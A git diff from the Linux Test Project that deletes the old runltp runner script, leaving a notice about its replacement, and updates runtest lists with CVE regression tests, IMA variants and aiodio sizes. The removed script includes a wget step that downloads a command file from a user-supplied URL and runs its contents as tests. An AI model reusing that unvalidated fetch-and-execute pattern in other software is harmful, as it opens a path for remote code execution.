CMDFILES= - local PRETTY_PRT= - local ALT_DIR_OUT=0 - local ALT_DIR_RES=0 - local ALT_HTML_OUT=0 - local ALT_EMAIL_OUT=0 - local ALT_DMESG_OUT=0 - local RUN_NETEST=0 - local RUN_REPEATED=0 - local QUIET_MODE= - local NO_KMSG= - local NETPIPE=0 - local GENLOAD=0 - local MEMSIZE=0 - local DURATION= - local CMDFILEADDR= - local FAILCMDFILE= - local TCONFCMDFILE= - local INJECT_KERNEL_FAULT= - local INJECT_KERNEL_FAULT_PERCENTAGE= - local INJECT_FAULT_LOOPS_PER_TEST= - local VALGRIND_CHECK= - local VALGRIND_CHECK_TYPE= - local LOGFILE_NAME= - local LOGFILE= - local OUTPUTFILE_NAME= - local OUTPUTFILE= - local HTMLFILE_NAME= - local HTMLFILE= - local DMESG_DIR= - local EMAIL_TO= - local TAG_RESTRICT_STRING= - local PAN_COMMAND= - local RANDOMRUN=0 - local DEFAULT_FILE_NAME_GENERATION_TIME=`date +"%Y_%m_%d-%Hh_%Mm_%Ss"` - local scenfile= - local ZOOFILE=$$ - - version_date=$(cat "$LTPROOT/Version") - - while getopts a:b:B:c:C:T:d:D:ef:F:g:hi:I:K:l:m:M:No:pqQr:Rs:S:t:T:w:x:z:Z:W: arg - do case $arg in - a) EMAIL_TO=$OPTARG - ALT_EMAIL_OUT=1;; - c) - NUM_PROCS=$(($OPTARG)) - if [ "$NUM_PROCS" -eq 0 ]; then - # User Did not Define the Value ,or, User Defined Zero, - # hence, prevent from creating infinite processes - NUM_PROCS=1 - fi - $LTPROOT/testcases/bin/genload --cpu $NUM_PROCS >/dev/null 2>&1 & - GENLOAD=1 ;; - - C) - case $OPTARG in - /*) - FAILCMDFILE="-C $OPTARG" ;; - *) - FAILCMDFILE="-C $LTPROOT/output/$OPTARG" - ALT_DIR_OUT=1 ;; - esac ;; - - T) - case $OPTARG in - /*) - TCONFCMDFILE="-T $OPTARG" ;; - *) - TCONFCMDFILE="-T $LTPROOT/output/$OPTARG" - ALT_DIR_OUT=1 ;; - esac ;; - - d) # convert the user path to absolute path. - export TMPBASE=$(readlink -f ${OPTARG}) ;; - - D) NUM_PROCS=1; NUM_FILES=1; NUM_BYTES=$((1024 * 1024 * 1024)); CLEAN_FLAG=0 - ARGUMENT_LIST=$OPTARG - TOTAL_ARGUMENTS=1 - for ARGUMENT in `echo "$ARGUMENT_LIST" | tr ',' ' '` - do - case $TOTAL_ARGUMENTS in - 1) NUM_PROCS="$ARGUMENT" ;; - 2) NUM_FILES="$ARGUMENT" ;; - 3) NUM_BYTES="$ARGUMENT" ;; - 4) CLEAN_FLAG="$ARGUMENT" ;; - esac - TOTAL_ARGUMENTS=`expr $TOTAL_ARGUMENTS + 1` - done - # just to get the default values if the user passed 0 - if [ "$NUM_PROCS" -eq 0 ]; then - NUM_PROCS=1 - fi - if [ "$NUM_FILES" -eq 0 ]; then - NUM_FILES=1 - fi - if [ "$NUM_BYTES" -eq 0 ]; then - NUM_BYTES=$((1024 * 1024 * 1024)) - fi - if [ "$CLEAN_FLAG" -ne 1 ]; then - CLEAN_FLAG=0 - fi - if [ "$CLEAN_FLAG" -eq 1 ]; then - # Do not unlink file in this case - $LTPROOT/testcases/bin/genload --hdd $NUM_PROCS --hdd-files \ - $NUM_FILES --hdd-bytes $NUM_BYTES >/dev/null 2>&1 & - else - # Cleanup otherwise - $LTPROOT/testcases/bin/genload --hdd $NUM_PROCS --hdd-files \ - $NUM_FILES --hdd-bytes $NUM_BYTES --hdd-noclean >/dev/null 2>&1 & - fi - GENLOAD=1;; - - e) # Print out the version of LTP - version_of_ltp - ;; - f) # Execute user defined set of testcases. - # Can be more than one file, just separate it with ',', like: - # -f nfs,commands,/tmp/testfile - CMDFILES=$OPTARG;; - F) INJECT_KERNEL_FAULT=1 - # Separate out the NO_OF_LOOPS & FAULT_PERCENTAGE - INJECT_FAULT_LOOPS_PER_TEST=`echo $OPTARG |cut -d',' -f1 | tr -d '\n' | tr -d ' '` - INJECT_KERNEL_FAULT_PERCENTAGE=`echo $OPTARG |cut -d',' -f2 | tr -d '\n' | tr -d ' '` - if [ ! $INJECT_FAULT_LOOPS_PER_TEST ]; then - echo "Loops not properly defined. Resorting to default 5..." - export INJECT_FAULT_LOOPS_PER_TEST=5 - fi - if [ ! $INJECT_KERNEL_FAULT_PERCENTAGE ]; then - echo "Fault Persentage not properly defined. Resorting to default 10..." - export INJECT_KERNEL_FAULT_PERCENTAGE=10 - fi;; - g) HTMLFILE_NAME="$OPTARG" - case $OPTARG in - /*) - HTMLFILE="$OPTARG";; - *) - HTMLFILE="$LTPROOT/output/$OPTARG" - ALT_DIR_OUT=1;; - esac - ALT_HTML_OUT=1;; - h) usage;; - - i) - NUM_PROCS=$(($OPTARG)) - if [ "$NUM_PROCS" -eq 0 ]; then - # User Did not Define the Value ,or, User Defined Zero, - # hence, prevent from creating infinite processes - NUM_PROCS=1 - fi - $LTPROOT/testcases/bin/genload --io $NUM_PROCS >/dev/null 2>&1 & - GENLOAD=1 ;; - - K) - case $OPTARG in - /*) - DMESG_DIR="$OPTARG-dmesg-output-`echo $$-``date +%X | tr -d ' '`";; - *) - DMESG_DIR="$LTPROOT/output/$OPTARG-dmesg-output-`echo $$-``date +%X | tr -d ' '`";; - esac - mkdir -p $DMESG_DIR - ALT_DMESG_OUT=1;; - l) - LOGFILE_NAME="$OPTARG" - case $OPTARG in - /*) - LOGFILE="-l $OPTARG" ;; - *) - LOGFILE="-l $LTPROOT/results/$OPTARG" - ALT_DIR_RES=1 ;; - esac ;; - - m) NUM_PROCS=1; CHUNKS=1; BYTES=$((256 * 1024 * 1024)); HANGUP_FLAG=0 - ARGUMENT_LIST=$OPTARG - TOTAL_ARGUMENTS=1 - for ARGUMENT in `echo "$ARGUMENT_LIST" | tr ',' ' '` - do - case $TOTAL_ARGUMENTS in - 1) NUM_PROCS="$ARGUMENT" ;; - 2) CHUNKS="$ARGUMENT" ;; - 3) BYTES="$ARGUMENT" ;; - 4) HANGUP_FLAG="$ARGUMENT" ;; - esac - TOTAL_ARGUMENTS=`expr $TOTAL_ARGUMENTS + 1` - done - # just to get the default values if the user passed 0 - if [ "$NUM_PROCS" -eq 0 ]; then - NUM_PROCS=1 - fi - if [ "$CHUNKS" -eq 0 ]; then - CHUNKS=1 - fi - if [ "$BYTES" -eq 0 ]; then - BYTES=$((256 * 1024 * 1024)) - fi - if [ "$HANGUP_FLAG" -ne 1 ]; then - HANGUP_FLAG=0 - fi - if [ "$HANGUP_FLAG" -eq 1 ]; then - # Hang in a Sleep loop after memory allocated - $LTPROOT/testcases/bin/genload --vm $NUM_PROCS --vm-chunks \ - $CHUNKS --vm-bytes $BYTES --vm-hang >/dev/null 2>&1 & - else - # Otherwise Do not Hangup - $LTPROOT/testcases/bin/genload --vm $NUM_PROCS --vm-chunks \ - $CHUNKS --vm-bytes $BYTES >/dev/null 2>&1 & - fi - GENLOAD=1;; - M) - VALGRIND_CHECK=1 - VALGRIND_CHECK_TYPE="$OPTARG";; - - N) RUN_NETEST=1;; - - o) OUTPUTFILE_NAME="$OPTARG" - case $OPTARG in - /*) - OUTPUTFILE="-o $OPTARG";; - *) - OUTPUTFILE="-o $LTPROOT/output/$OPTARG" - ALT_DIR_OUT=1 ;; - esac ;; - - p) PRETTY_PRT="-p";; - - q) QUIET_MODE="-q";; - - Q) NO_KMSG="-Q";; - - r) LTPROOT=$OPTARG;; - - R) RANDOMRUN=1;; - - s) TAG_RESTRICT_STRING=$OPTARG;; - - S) case $OPTARG in - /*) - SKIPFILE=$OPTARG;; - *) - SKIPFILE="$LTPROOT/$OPTARG";; - esac ;; - - t) # In case you want to specify the time - # to run from the command line - # (2m = two minutes, 2h = two hours, etc) - DURATION="-t $OPTARG" ;; - - I) # In case you want the testcases to runsequentially RUN_REPEATED times - RUN_REPEATED=$OPTARG;; - - w) CMDFILEADDR=$OPTARG;; - - x) # number of ltp's to run - cat <<-EOF >&1 - WARNING: The use of -x can cause unpredictable failures, as a - result of concurrently running multiple tests designed - to be ran exclusively. - Pausing for 10 seconds..." - EOF - sleep 10 - INSTANCES="-x $OPTARG";; - b) DEVICE=$OPTARG;; - B) LTP_DEV_FS_TYPE=$OPTARG;; - z) BIG_DEVICE=$OPTARG;; - Z) BIG_DEVICE_FS_TYPE=$OPTARG;; - W) ZOOFILE=$OPTARG;; - \?) usage;; - esac - done - - ## It would be nice to create a default log file even if the user has not mentioned - if [ ! "$LOGFILE" ]; then ## User has not mentioned about Log File name - LOGFILE_NAME="$DEFAULT_FILE_NAME_GENERATION_TIME" - LOGFILE="-l $LTPROOT/results/LTP_RUN_ON-$LOGFILE_NAME.log" - ALT_DIR_RES=1 - PRETTY_PRT="-p" - fi - - ## It would be nice if a Failed File is compulsorily created (gives User better Idea of Tests that failed) - - if [ ! "$FAILCMDFILE" ]; then ## User has not mentioned about Failed File name - ALT_DIR_OUT=1 - if [ ! "$OUTPUTFILE" ]; then ## User has not mentioned about Output File name either - if [ ! "$LOGFILE" ]; then ## User has not mentioned about Log File name either - FAILED_FILE_NAME="$DEFAULT_FILE_NAME_GENERATION_TIME" - FAILCMDFILE="-C $LTPROOT/output/LTP_RUN_ON-$FAILED_FILE_NAME.failed" - else ## User Fortunately wanted a log file, - FAILED_FILE_NAME=`basename $LOGFILE_NAME` ## Extract log file name and use it to construct Failed file name - FAILCMDFILE="-C $LTPROOT/output/LTP_RUN_ON-$FAILED_FILE_NAME.failed" - fi - else ## User Fortunately wanted a Output file - FAILED_FILE_NAME=`basename $OUTPUTFILE_NAME` ## Extract output file name and use it to construct Failed file name - FAILCMDFILE="-C $LTPROOT/output/LTP_RUN_ON-$FAILED_FILE_NAME.failed" - fi - fi - - if [ ! "$TCONFCMDFILE" ]; then - ALT_DIR_OUT=1 - if [ ! "$OUTPUTFILE" ]; then - if [ ! "$LOGFILE" ]; then - TCONF_FILE_NAME="$DEFAULT_FILE_NAME_GENERATION_TIME" - TCONFCMDFILE="-T $LTPROOT/output/LTP_RUN_ON-${TCONF_FILE_NAME}.tconf" - else - TCONF_FILE_NAME=`basename $LOGFILE_NAME` - TCONFCMDFILE="-T $LTPROOT/output/LTP_RUN_ON-${TCONF_FILE_NAME}.tconf" - fi - else - TCONF_FILE_NAME=`basename $OUTPUTFILE_NAME` - TCONFCMDFILE="-T $LTPROOT/output/LTP_RUN_ON-${TCONF_FILE_NAME}.tconf" - fi - fi - - if [ "$ALT_HTML_OUT" -eq 1 ] ; then ## User wants the HTML version of the output - QUIET_MODE="" ## Suppressing this guy as it will prevent generation of proper output - ## which the HTML parser will require - if [ ! "$OUTPUTFILE" ]; then ## User has not mentioned about the Outputfile name, then we need to definitely generate one - OUTPUTFILE_NAME="$DEFAULT_FILE_NAME_GENERATION_TIME" - OUTPUTFILE="-o $LTPROOT/output/LTP_RUN_ON-$OUTPUTFILE_NAME.output" - ALT_DIR_OUT=1 - fi - fi - - # If we need, create the output directory - [ "$ALT_DIR_OUT" -eq 1 ] && \ - { - [ ! -d $LTPROOT/output ] && \ - { - echo "INFO: creating $LTPROOT/output directory" - mkdir -p $LTPROOT/output || \ - { - echo "ERROR: failed to create $LTPROOT/output" - exit 1 - } - } - } - - # If we need, create the results directory - [ "$ALT_DIR_RES" -eq 1 ] && \ - { - [ ! -d $LTPROOT/results ] && \ - { - echo "INFO: creating $LTPROOT/results directory" - mkdir -p $LTPROOT/results || \ - { - echo "ERROR: failed to create $LTPROOT/results" - exit 1 - } - } - } - - # Added -m 777 for tests that call tst_tmpdir() and try to - # write to it as user nobody - mkdir -m 777 -p $TMPBASE || \ - { - echo "FATAL: Unable to make temporary directory $TMPBASE" - exit 1 - } - # use mktemp to create "safe" temporary directories - export TMPTEMPLATE="${TMPBASE}/ltp-XXXXXXXXXX" - TMP=`mktemp -d $TMPTEMPLATE` || \ - { - echo "FATAL: Unable to make temporary directory: $TMP" - exit 1 - } - export TMP - # To be invoked by tst_tmpdir() - # write to it as user nobody - export TMPDIR=$TMP - - trap "cleanup" 0 - - chmod 777 $TMP || \ - { - echo "unable to chmod 777 $TMP ... aborting" - exit 1 - } - - cd $TMP || \ - { - echo "could not cd ${TMP} ... exiting" - exit 1 - } - - [ -n "$INSTANCES" ] && \ - { - INSTANCES="$INSTANCES -O ${TMP}" - } - - # If user does not provide a command file select a default set of testcases - # to execute. - if [ -z "$CMDFILES" ] && [ -z "$CMDFILEADDR" ]; then - - SCENARIO_LISTS="$LTPROOT/scenario_groups/default" - if [ "$RUN_NETEST" -eq 1 ]; then - SCENARIO_LISTS="$LTPROOT/scenario_groups/network" - fi - - cat <<-EOF >&1 -INFO: no command files were provided. Executing following runtest scenario files: -`cat $SCENARIO_LISTS | tr '\012' ' '` +# SPDX-License-Identifier: GPL-2.0-or-later +# Copyright (c) Linux Test Project, 2026 +cat >&2 << EOF +runltp was removed from LTP use kirk instead +https://github.com/linux-test-project/kirk +https://kirk.readthedocs.io/ EOF - cat_ok_sentinel=$TMP/cat_ok.$$ - touch "$cat_ok_sentinel" - cat $SCENARIO_LISTS | while read scenfile; do - scenfile=${LTPROOT}/runtest/$scenfile - [ -f "$scenfile" ] || continue - - cat $scenfile >> "$TMP/alltests" || { - echo "FATAL: unable to append to command file" - rm -Rf "$TMP" - rm -f "$cat_ok_sentinel" - exit 1 - } - done - rm -f "$cat_ok_sentinel" - fi - - [ -n "$CMDFILES" ] && \ - { - for scenfile in `echo "$CMDFILES" | tr ',' ' '` - do - [ -f "$scenfile" ] || scenfile="$LTPROOT/runtest/$scenfile" - cat "$scenfile" >> ${TMP}/alltests || \ - { - echo "FATAL: unable to create command file" - rm -Rf "$TMP" - exit 1 - } - done - } - - [ -n "$CMDFILEADDR" ] && \ - { - wget -q "${CMDFILEADDR}" -O ${TMP}/wgetcmdfile - if [ $? -ne 0 ]; then - echo "FATAL: error while getting the command file with wget (address $CMDFILEADDR)" - exit 1 - fi - cat "${TMP}/wgetcmdfile" >> ${TMP}/alltests || \ - { - echo "FATAL: unable to create command file" - exit 1 - } - } - - # If enabled, execute only test cases that match the PATTERN - if [ -n "$TAG_RESTRICT_STRING" ] - then - mv -f ${TMP}/alltests ${TMP}/alltests.orig - grep $TAG_RESTRICT_STRING ${TMP}/alltests.orig > ${TMP}/alltests #Not worth checking return codes for this case - fi - - # Blacklist or skip tests if a SKIPFILE was specified with -S - if [ -n "${SKIPFILE}" ]; then - for test_name in $(awk '{print $1}' "${SKIPFILE}"); do - case "${test_name}" in \#*) continue;; esac - sed -i "/\<${test_name}\>/c\\${test_name} exit 32;" alltests - done - fi - - # check for required users and groups - ${LTPROOT}/IDcheck.sh || \ - { - echo "WARNING: required users and groups not present" - echo "WARNING: some test cases may fail" - } - - # display versions of installed software - [ -z "$QUIET_MODE" ] && \ - { - ${LTPROOT}/ver_linux || \ - { - echo "WARNING: unable to display versions of software installed" - exit 1 - } - } - - set_block_device - - # here even if the user don't specify a big block device, we - # also don't create the big block device. - if [ -z "$BIG_DEVICE" ]; then - echo "no big block device was specified on commandline." - echo "Tests which require a big block device are disabled." - echo "You can specify it with option -z" - else - export LTP_BIG_DEV=$BIG_DEVICE - if [ -z "$BIG_DEVICE_FS_TYPE" ]; then - export LTP_BIG_DEV_FS_TYPE="ext2" - else - export LTP_BIG_DEV_FS_TYPE=$BIG_DEVICE_FS_TYPE - fi - fi - - if [ $RUN_REPEATED -gt 1 ]; then # You need to specify at least more than 1 sequential run, else it runs default - echo "PAN will run these test cases $RUN_REPEATED times....." - echo "Test Tags will be Prepended with ITERATION NO.s....." - inc=1 - sed -e '/^$/ d' -e 's/^[ ,\t]*//' -e '/^#/ d' < ${TMP}/alltests > ${TMP}/alltests.temp ##This removes all newlines, leading spaces, tabs, # - sed 's/^[0-9,a-z,A-Z]*/'"$inc"'_ITERATION_&/' < ${TMP}/alltests.temp > ${TMP}/alltests ## .temp is kept as Base file - while [ $inc -lt $RUN_REPEATED ] ; do - inc=`expr $inc + 1` - sed 's/^[0-9,a-z,A-Z]*/'"$inc"'_ITERATION_&/' < ${TMP}/alltests.temp >> ${TMP}/alltests #Keep appending with Iteration No.s - done - fi - - if [ "$RANDOMRUN" != "0" ]; then - sort -R ${TMP}/alltests -o ${TMP}/alltests - fi - - [ ! -z "$QUIET_MODE" ] && { echo "INFO: Test start time: $(date)" ; } - PAN_COMMAND="${LTPROOT}/bin/ltp-pan $QUIET_MODE $NO_KMSG -e -S $INSTANCES $DURATION -a ${ZOOFILE} \ - -n $$ $PRETTY_PRT -f ${TMP}/alltests $LOGFILE $OUTPUTFILE $FAILCMDFILE $TCONFCMDFILE" - echo "COMMAND: $PAN_COMMAND" - if [ ! -z "$TAG_RESTRICT_STRING" ] ; then - echo "INFO: Restricted to $TAG_RESTRICT_STRING" - fi - #$PAN_COMMAND #Duplicated code here, because otherwise if we fail, only "PAN_COMMAND" gets output - - ## Display the Output/Log/Failed/HTML file names here - printf "LOG File: " - echo $LOGFILE | cut -b4- - - if [ "$OUTPUTFILE" ]; then - printf "OUTPUT File: " - echo $OUTPUTFILE | cut -b4- - fi - - printf "FAILED COMMAND File: " - echo $FAILCMDFILE | cut -b4- - - printf "TCONF COMMAND File: " - echo $TCONFCMDFILE | cut -b4- - - if [ "$HTMLFILE" ]; then - echo "HTML File: $HTMLFILE" - fi - - echo "Running tests......." - test_start_time=$(date) - - # User wants testing with Kernel Fault Injection - if [ $INJECT_KERNEL_FAULT ] ; then - #See if Debugfs is mounted, and - #Fault Injection Framework available through Debugfs - use_faultinjection=true - for debug_subdir in \ - fail_io_timeout \ - fail_make_request \ - fail_page_alloc \ - failslab \ - ; do - if [ -d "/sys/kernel/debug/$debug_subdir" ] - then - use_faultinjection=true - break - fi - done - if $use_faultinjection; then - #If at least one of the Framework is available - #Go ahead to Inject Fault & Create required - #Command Files for LTP run - echo Running tests with Fault Injection Enabled in the Kernel... - awk -v LOOPS=$INJECT_FAULT_LOOPS_PER_TEST \ - -v PERCENTAGE=$INJECT_KERNEL_FAULT_PERCENTAGE \ - -f ${LTPROOT}/bin/create_kernel_faults_in_loops_and_probability.awk \ - ${TMP}/alltests > ${TMP}/alltests.tmp - cp ${TMP}/alltests.tmp ${TMP}/alltests - rm -rf ${TMP}/alltests.tmp - else - echo Fault Injection not enabled in the Kernel.. - echo Running tests normally... - fi - fi - - ## Valgrind Check will work only when Kernel Fault Injection is not expected, - ## We do not want to test Faults when valgrind is running - if [ $VALGRIND_CHECK ]; then - if [ ! $INJECT_KERNEL_FAULT ]; then - which valgrind || VALGRIND_CHECK_TYPE=XYZ - case $VALGRIND_CHECK_TYPE in - [1-3]) - awk -v CHECK_LEVEL=$VALGRIND_CHECK_TYPE \ - -f ${LTPROOT}/bin/create_valgrind_check.awk \ - ${TMP}/alltests $VALGRIND_CHECK_TYPE > \ - ${TMP}/alltests.tmp - cp ${TMP}/alltests.tmp ${TMP}/alltests - rm -rf ${TMP}/alltests.tmp - ;; - *) - echo "Invalid Memory Check Type, or, Valgrind is not available" - ;; - esac - fi - fi - - if [ $ALT_DMESG_OUT -eq 1 ] ; then - #We want to print dmesg output for each test,lets do the trick inside the script - echo Enabling dmesg output logging for each test... - awk -v DMESG_DIR=$DMESG_DIR \ - -f ${LTPROOT}/bin/create_dmesg_entries_for_each_test.awk \ - ${TMP}/alltests > ${TMP}/alltests.tmp - cp ${TMP}/alltests.tmp ${TMP}/alltests - rm -rf ${TMP}/alltests.tmp - fi - # Some tests need to run inside the "bin" directory. - cd "${LTPROOT}/testcases/bin" - "${LTPROOT}/bin/ltp-pan" $QUIET_MODE $NO_KMSG -e -S $INSTANCES $DURATION -a ${ZOOFILE} -n $$ $PRETTY_PRT -f ${TMP}/alltests $LOGFILE $OUTPUTFILE $FAILCMDFILE $TCONFCMDFILE - - if [ $? -eq 0 ]; then - echo "INFO: ltp-pan reported all tests PASS" - VALUE=0 - export LTP_EXIT_VALUE=0; - else - echo "INFO: ltp-pan reported some tests FAIL" - VALUE=1 - export LTP_EXIT_VALUE=1; - fi - cd .. - echo "LTP Version: $version_date" - - # $DMESG_DIR is used to cache messages obtained from dmesg after a test run. - # Proactively reap all of the 0-byte files in $DMESG_DIR as they have zero value - # and only clutter up the filesystem. - - if [ $ALT_DMESG_OUT -eq 1 ] ; then - if ! find "$DMESG_DIR" -size 0 -exec rm {} + ; then - echo "cd to $DMESG_DIR failed: $?" - fi - if [ -n "$(ls "$DMESG_DIR")" ] ; then - echo "Kernel messages were generated for LTP tests $version_date" - else - echo "No Kernel messages were generated for LTP tests $version_date" - fi - fi - - if [ "$ALT_HTML_OUT" -eq 1 ] ; then #User wants the HTML output to be created, it then needs to be generated - export LTP_VERSION=$version_date - export TEST_START_TIME="$test_start_time" - export TEST_END_TIME="$(date)" - OUTPUT_FILE=`echo $OUTPUTFILE | cut -c4-` - LOGS_DIRECTORY="$LTPROOT/results" - export TEST_OUTPUT_DIRECTORY="$LTPROOT/output" - export TEST_LOGS_DIRECTORY=$LOGS_DIRECTORY - echo "Generating HTML Output.....!!" - ( perl $LTPROOT/bin/genhtml.pl $LTPROOT/bin/html_report_header.txt test_start test_end test_output execution_status $OUTPUT_FILE > $HTMLFILE; ) - echo "Generated HTML Output.....!!" - echo "Location: $HTMLFILE"; - - fi - - if [ "$ALT_EMAIL_OUT" -eq 1 ] ; then ## User wants reports to be e-mailed - TAR_FILE_NAME=LTP_RUN_$version_date$DEFAULT_FILE_NAME_GENERATION_TIME.tar - if [ "$HTMLFILE_NAME" ] ; then ## HTML file Exists - if [ "$ALT_HTML_OUT" -ne 1 ] ; then ## The HTML file path is absolute and not $LTPROOT/output - mkdir -p $LTPROOT/output ## We need to create this Directory - cp $HTMLFILE_NAME $LTPROOT/output/ - fi - fi - if [ "$OUTPUTFILE_NAME" ] ; then ## Output file exists - if [ "$ALT_DIR_OUT" -ne 1 ] ; then ## The Output file path is absolute and not $LTPROOT/output - mkdir -p $LTPROOT/output ## We need to create this Directory - cp $OUTPUTFILE_NAME $LTPROOT/output/ - fi - fi - if [ "$LOGFILE_NAME" ] ; then ## Log file exists - if [ "$ALT_DIR_RES" -ne 1 ] ; then ## The Log file path is absolute and not $LTPROOT/results - mkdir -p $LTPROOT/results ## We need to create this Directory - cp $LOGFILE_NAME $LTPROOT/results/ - fi - fi - if [ -d $LTPROOT/output ] ; then - tar -cf ./$TAR_FILE_NAME $LTPROOT/output - if [ $? -eq 0 ]; then - echo "Created TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/output" - else - echo "Cannot Create TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/output" - fi - fi - if [ -d $LTPROOT/results ] ; then - tar -uf ./$TAR_FILE_NAME $LTPROOT/results - if [ $? -eq 0 ]; then - echo "Updated TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/results" - else - echo "Cannot Update TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/results" - fi - fi - if [ -e $LTPROOT/nohup.out ] ; then ## If User would have Chosen nohup to do ltprun - tar -uf ./$TAR_FILE_NAME $LTPROOT/nohup.out - if [ $? -eq 0 ]; then - echo "Updated TAR File: ./$TAR_FILE_NAME successfully, added $LTPROOT/nohup.out" - else - echo "Cannot Update TAR File: ./$TAR_FILE_NAME for adding $LTPROOT/nohup.out" - fi - fi - gzip ./$TAR_FILE_NAME ## gzip this guy - if [ $? -eq 0 ]; then - echo "Gunzipped TAR File: ./$TAR_FILE_NAME" - else - echo "Cannot Gunzip TAR File: ./$TAR_FILE_NAME" - fi - if which mutt >/dev/null 2>&1; then - echo "Starting mailing reports to: $EMAIL_TO, file: ./$TAR_FILE_NAME.gz" - mutt -a ./$TAR_FILE_NAME.gz -s "LTP Reports on $test_start_time" -- $EMAIL_TO < /dev/null - if [ $? -eq 0 ]; then - echo "Reports Successfully mailed to: $EMAIL_TO" - else - echo "Reports cannot be mailed to: $EMAIL_TO" - fi - else ## Use our Ageold mail program - echo "Starting mailing reports to: $EMAIL_TO, file: ./$TAR_FILE_NAME.gz" - uuencode ./$TAR_FILE_NAME.gz $TAR_FILE_NAME.gz | mail $EMAIL_TO -s "LTP Reports on $test_start_time" - if [ $? -eq 0 ]; then - echo "Reports Successfully mailed to: $EMAIL_TO" - else - echo "Reports cannot be mailed to: $EMAIL_TO" - fi - fi - fi - - [ ! -z "$QUIET_MODE" ] && { echo "INFO: Test end time: $(date)" ; } - - [ "$GENLOAD" -eq 1 ] && { killall -9 genload >/dev/null 2>&1; } - [ "$NETPIPE" -eq 1 ] && { killall -9 NPtcp >/dev/null 2>&1; } - - [ "$ALT_DIR_OUT" -eq 1 ] || [ "$ALT_DIR_RES" -eq 1 ] && \ - { - cat <<-EOF >&1 - - ############################################################### - - Done executing testcases. - LTP Version: $version_date - ############################################################### - - EOF - } - - deprecated - - exit $VALUE -} - -set_block_device() -{ - if [ -n "$DEVICE" ]; then - export LTP_DEV=$DEVICE - fi -} - -cleanup() -{ - [ "$LOOP_DEV" ] && losetup -d $LOOP_DEV - rm -rf ${TMP} -} - - -LTP_SCRIPT="$(basename $0)" -if [ "$LTP_SCRIPT" = "runltp" ]; then - setup - main "$@" -fi +exit 1 diff --git a/ltp/runtest/crypto b/ltp/runtest/crypto index 446559ef..a8330db9 100644 --- a/ltp/runtest/crypto +++ b/ltp/runtest/crypto @@ -5,6 +5,7 @@ af_alg04 af_alg04 af_alg05 af_alg05 af_alg06 af_alg06 af_alg07 af_alg07 +af_alg08 af_alg08 pcrypt_aead01 pcrypt_aead01 crypto_user01 crypto_user01 crypto_user02 crypto_user02 diff --git a/ltp/runtest/cve b/ltp/runtest/cve index 6d575aa2..74ee8e9b 100644 --- a/ltp/runtest/cve +++ b/ltp/runtest/cve @@ -92,3 +92,7 @@ cve-2020-25704 perf_event_open03 cve-2022-0185 fsconfig03 cve-2022-4378 cve-2022-4378 cve-2025-38236 cve-2025-38236 +cve-2025-21756 cve-2025-21756 +cve-2026-31431 af_alg08 +cve-2026-43284 xfrm01 +cve-2026-46300 xfrm02 diff --git a/ltp/runtest/ima b/ltp/runtest/ima index 01942eef..c8d0c680 100644 --- a/ltp/runtest/ima +++ b/ltp/runtest/ima @@ -6,5 +6,8 @@ ima_violations ima_violations.sh ima_keys ima_keys.sh ima_kexec ima_kexec.sh ima_selinux ima_selinux.sh -ima_conditionals ima_conditionals.sh +ima_conditionals_uid ima_conditionals.sh -r uid +ima_conditionals_fowner ima_conditionals.sh -r fowner +ima_conditionals_gid ima_conditionals.sh -r gid +ima_conditionals_fgroup ima_conditionals.sh -r fgroup evm_overlay evm_overlay.sh diff --git a/ltp/runtest/ltp-aiodio.part2 b/ltp/runtest/ltp-aiodio.part2 index 599c9fd2..a4e26024 100644 --- a/ltp/runtest/ltp-aiodio.part2 +++ b/ltp/runtest/ltp-aiodio.part2 @@ -25,8 +25,8 @@ ADSP023 aiodio_sparse -o 4 -w 1024k -s 4096k -n 6 ADSP024 aiodio_sparse -o 4 -w 2048k -s 8192k -n 6 ADSP025 aiodio_sparse -o 4 -w 4096k -s 16384k -n 6 ADSP026 aiodio_sparse -o 4 -w 18192k -s 72768k -n 6 -ADSP027 aiodio_sparse -o 4 -w 18192k -s 518192k -n 6 -ADSP028 aiodio_sparse -o 4 -w 65536k -s 262144k -n 6 +ADSP027 aiodio_sparse -o 4 -w 18192k -s 129548k -n 6 +ADSP028 aiodio_sparse -o 4 -w 32768k -s 129548k -n 6 ADSP029 aiodio_sparse -o 6 -w 65536k -n 6 ADSP030 aiodio_sparse -o 8 -w 128k -s 1024k -n 6 ADSP031 aiodio_sparse -o 16 -w 256k -s 4096k -n 6 @@ -55,7 +55,7 @@ ADSP053 dio_sparse -w 2048k -s 2048k -n 2 ADSP054 dio_sparse -w 4096k -s 4096k -n 2 ADSP055 dio_sparse -w 8192k -s 8192k -n 2 ADSP056 dio_sparse -w 18192k -s 18192k -n 2 -ADSP057 dio_sparse -w 518192k -s 518192k -n 2 +ADSP057 dio_sparse -w 129548k -s 129548k -n 2 ADSP058 dio_sparse -w 58192k -s 58192k -n 4 ADSP059 dio_sparse -w 58192k -s 58192k -n 6 ADSP060 dio_sparse -w 256k -s 256k -n 6 @@ -65,14 +65,14 @@ ADSP063 dio_sparse -w 2048k -s 2048k -n 6 ADSP064 dio_sparse -w 2048k -s 4096k -n 6 ADSP065 dio_sparse -w 8192k -s 8192k -n 6 ADSP066 dio_sparse -w 18192k -s 18192k -n 6 -ADSP067 dio_sparse -w 58192k -s 518192k -n 6 -ADSP068 dio_sparse -w 518192k -s 518192k -n 6 +ADSP067 dio_sparse -w 58192k -s 129548k -n 6 +ADSP068 dio_sparse -w 129548k -s 129548k -n 6 ADSP069 dio_sparse -w 1024k -s 2048k -n 6 ADSP070 dio_sparse -w 4096k -s 4096k -n 32 ADSP071 dio_sparse -w 8192k -s 8192k -n 64 -ADSP072 dio_sparse -w 518192k -s 18192k -n 128 -ADSP073 dio_sparse -w 518192k -s 518192k -n 512 -ADSP074 dio_sparse -w 518192k -s 518192k -n 1000 +ADSP072 dio_sparse -w 129548k -s 129548k -n 128 +ADSP073 dio_sparse -w 129548k -s 129548k -n 512 +ADSP074 dio_sparse -w 129548k -s 129548k -n 1000 ADSP075 dio_sparse -w 4k -s 2k -o 2k -n 2 ADSP076 dio_sparse -w 2k -s 1k -o 1k -n 2 ADSP077 dio_sparse -w 1k -s 512 -o 512 -n 2 diff --git a/ltp/runtest/ltp-aiodio.part4 b/ltp/runtest/ltp-aiodio.part4 index de00b8a7..5d3028bf 100644 --- a/ltp/runtest/ltp-aiodio.part4 +++ b/ltp/runtest/ltp-aiodio.part4 @@ -1,38 +1,6 @@ aio01 aio01 aio02 aio02 -#Running dio_sparse & dirty tests -DI000 dirty -DS000 dio_sparse 